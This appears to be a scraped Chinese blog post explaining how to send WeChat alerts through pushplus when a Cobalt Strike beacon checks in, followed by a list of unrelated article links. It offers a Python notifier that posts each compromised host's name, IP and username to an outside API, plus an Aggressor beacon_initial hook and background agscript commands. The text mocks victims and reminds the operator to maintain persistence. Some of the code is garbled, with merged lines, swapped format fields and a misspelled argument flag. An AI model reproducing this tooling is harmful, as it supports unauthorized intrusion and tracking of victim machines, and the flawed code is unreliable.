当前位置: 首页 > news >正文

CobaltStrike上线微信通知

CobaltStrike上线微信通知

利用pushplus公众号(每天免费发送200条消息)

http://www.pushplus.plus/push1.html

扫码登录后需要复制token

在这里插入图片描述

可以测试一下发送一下消息,手机会受到如下消息。可以在微信提示里将消息免打扰关闭(默认是开启的)

在这里插入图片描述

利用该api接口在上线后进行请求,参考了github上大佬的代码。但接口变了用不了只能自己改一下,改好的代码如下

# encoding:utf-8
import argparse
import requests
import random
import string
import jsontoken = 'xxxxxx' #在 http://www.pushplus.plus/push1.html 复制parser = argparse.ArgumentParser(description='Beacon Info')
parser.add_argument('--computername')
parser.add_argument('--internalip')
parser.add_argument('--username')
args = parser.parse_args()internalip = args.internalip
computername = args.computername
username = args.username
ran_str = ''.join(random.sample(string.ascii_letters + string.digits, 8))title = "TPAER专用CS主机上线提醒"
content = """**主人又有笨蛋上线了~****主机名: {}****IP: {}****用户名: {}****Token: {}****注意权限维持**
""".format(internalip, computername, username, ran_str)url = 'http://www.pushplus.plus/api/send'
data = {"token":token,"title":title,"content":content,"template":"markdown","channel":"wechat"
}
body=json.dumps(data).encode(encoding='utf-8')
headers = {'Content-Type':'application/json'}
requests.post(url,data=body,headers=headers)

可以将token替换,直接运行看微信是否成功收到消息,测试成功后放在服务器某目录下

然后是一个.cna文件,里面需要修改的cmd命令中的地址

on beacon_initial {println("Initial Beacon Checkin: " . $1 . " PID: " . beacon_info($1,"pid"));local('$internalIP $computerName $userName');$internalIP = replace(beacon_info($1,"internal")," ","_");$computerName = replace(beacon_info($1,"computer")," ","_");$userName = replace(beacon_info($1,"user")," ","_");$cmd = 'python3 /root/ATK/CSonWeChat/PushPlus.py' . " --computernam " . $computerName . " --internalip " . $internalIP . " --username " . $userName;println("Sending server: " . $cmd);exec($cmd);
}

在准备完成后进入cs的目录下,可以使用screen也可以nohup命令后台挂载

我这里直接使用screen,然后执行如下命令

./agscript Cobalt_Strikeip 端口 用户 密码 /目录/PushPlus.cna > /目录/PushPlus.log 2>&1 &

查看进程,成功跑起

ps -aux | grep agscript

在这里插入图片描述

在CS有主机上线后,微信成功收到了发来的提示信息
在这里插入图片描述
在这里插入图片描述

http://www.lryc.cn/news/8247.html

相关文章:

  • 喜茶、奈雪的茶“花式”寻生路
  • Xstream使用教程
  • 【正点原子FPGA连载】第十一章PL SYSMON测量输入模拟电压 摘自【正点原子】DFZU2EG_4EV MPSoC之嵌入式Vitis开发指南
  • 纷享销客百思特 | 数字化营销赋能企业新增长沙龙圆满落幕
  • oracle查看具体表占用空间 oracle查看表属于哪个用户
  • 2.Visual Studio下载和安装
  • 「4」线性代数(期末复习)
  • IDEA中使用tomcat8-maven-plugin插件
  • 2023年妇女节是哪一天 妇女节是2023年几月几日?
  • 如何运维多集群数据库?58 同城 NebulaGraph Database 运维实践
  • 尚医通(十四)Spring Cloud GateWay网关 | 跨域 | 权限认证
  • PO模式在Selenium中简单实践
  • KubeSphere
  • JAVA基础阶段面试题(关键点)必备
  • Shiro简介
  • cmu 445 poject 3笔记
  • CHAPTER 2 Zabbix界面操作
  • keep-alive的使用-及遇到的问题
  • 华为OD面试经验分享,尤其注意机试题部分
  • 【Java】String、StringBuffer、StringBuilder的区别
  • iOS开发:对Block使用的一次研究总结
  • Spark 3.1.1 shuffle fetch 导致shuffle错位的问题
  • 2月第2周榜单丨飞瓜数据B站UP主排行榜(哔哩哔哩平台)发布!
  • Jdk19 动态编译 Java源码为 Class 文件
  • 安装 GPU 版本的 tensorflow 完整版本
  • BOM编程-设置地址栏上的URL
  • 设计模式之原型模式与建造者模式详解和应用
  • C语言(函数和递归)
  • 快乐的shell命令行
  • 大数据面试题flume篇